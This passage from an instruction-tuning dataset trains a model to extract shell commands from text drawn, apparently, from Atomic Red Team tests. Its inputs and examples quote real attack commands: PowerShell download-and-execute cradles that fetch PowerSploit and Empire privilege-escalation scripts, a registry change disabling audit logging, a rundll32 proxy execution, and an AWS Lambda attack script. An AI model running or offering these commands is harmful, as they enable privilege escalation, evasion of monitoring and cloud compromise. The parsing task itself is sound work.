    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The main process of a service can be stopped by issuing the command: sudo killall -SIGTERM #{process_name}",
    "output": "{\"command_list\": [\"sudo killall -SIGTERM #{process_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script employs PowerShell to execute Empire's GetSystem module, displaying the impersonated account details upon success. Use the command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A virtual machine can be identified when one of the device manufacturers is a virtualization software, which can be checked with the command: if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;",
    "output": "{\"command_list\": [\"if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test will enumerate common Azure subscription resources when executed successfully, using the following command: Import-Module \"PathToAtomicsFolder\\T1526\\src\\AzureDiscovery.ps1\"\n$client_id = \"#{client_id}\"\n$client_secret = \"#{client_secret}\"\n$tenant_id = \"#{tenant_id}\"\n$environment = \"#{cloud}\"\nSet-AzureAuthentication -ClientID $client_id -ClientSecret $client_secret -TenantID $tenant_id -Environment $environment\nGet-AzureDiscoveryData -OutputDirectory \"#{output_directory}\" -Environment $environment\nRemove-BlankFiles -OutputDirectory \"#{output_directory}\"",
    "output": "{\"command_list\": [\"Import-Module \\\"PathToAtomicsFolder\\\\T1526\\\\src\\\\AzureDiscovery.ps1\\\"\\n$client_id = \\\"#{client_id}\\\"\\n$client_secret = \\\"#{client_secret}\\\"\\n$tenant_id = \\\"#{tenant_id}\\\"\\n$environment = \\\"#{cloud}\\\"\\nSet-AzureAuthentication -ClientID $client_id -ClientSecret $client_secret -TenantID $tenant_id -Environment $environment\\nGet-AzureDiscoveryData -OutputDirectory \\\"#{output_directory}\\\" -Environment $environment\\nRemove-BlankFiles -OutputDirectory \\\"#{output_directory}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Security monitoring can be evaded by tampering with registry settings via the command: New-ItemProperty -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\" -Name \"ProcessCreationIncludeCmdLine_Enabled\" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore.",
    "output": "{\"command_list\": [\"New-ItemProperty -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\Audit\\\" -Name \\\"ProcessCreationIncludeCmdLine_Enabled\\\" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When executed, this command will launch calc.exe by leveraging rundll32.exe with ieadvpack.dll: rundll32.exe ieadvpack.dll,LaunchINFSection \"#{inf_to_execute}\",DefaultInstall_SingleUser,1,",
    "output": "{\"command_list\": [\"rundll32.exe ieadvpack.dll,LaunchINFSection \\\"#{inf_to_execute}\\\",DefaultInstall_SingleUser,1,\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following script modifies a Lambda function to run arbitrary code, with the command: Import-Module \"PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1\" -Force\n$access_key = \"#{access_key}\"\n$secret_key = \"#{secret_key}\"\n$session_token = \"#{session_token}\"\n$aws_profile = \"#{profile}\"\n$region = \"#{region}\"\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \"PathToAtomicsFolder/T1648/src/T1648-1\"\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \"PathToAtomicsFolder/T1648/src/T1648-1\" -TerraformVariables @(\"profile=T1648-1\", \"region=$region\")\nInvoke-LambdaAttack -AWSProfile \"T1648-1\" -AWSRegion $region",
    "output": "{\"command_list\": [\"Import-Module \\\"PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1\\\" -Force\\n$access_key = \\\"#{access_key}\\\"\\n$secret_key = \\\"#{secret_key}\\\"\\n$session_token = \\\"#{session_token}\\\"\\n$aws_profile = \\\"#{profile}\\\"\\n$region = \\\"#{region}\\\"\\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \\\"PathToAtomicsFolder/T1648/src/T1648-1\\\"\\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \\\"PathToAtomicsFolder/T1648/src/T1648-1\\\" -TerraformVariables @(\\\"profile=T1648-1\\\", \\\"region=$region\\\")\\nInvoke-LambdaAttack -AWSProfile \\\"T1648-1\\\" -AWSRegion $region\\n\"]}"
  },
  {
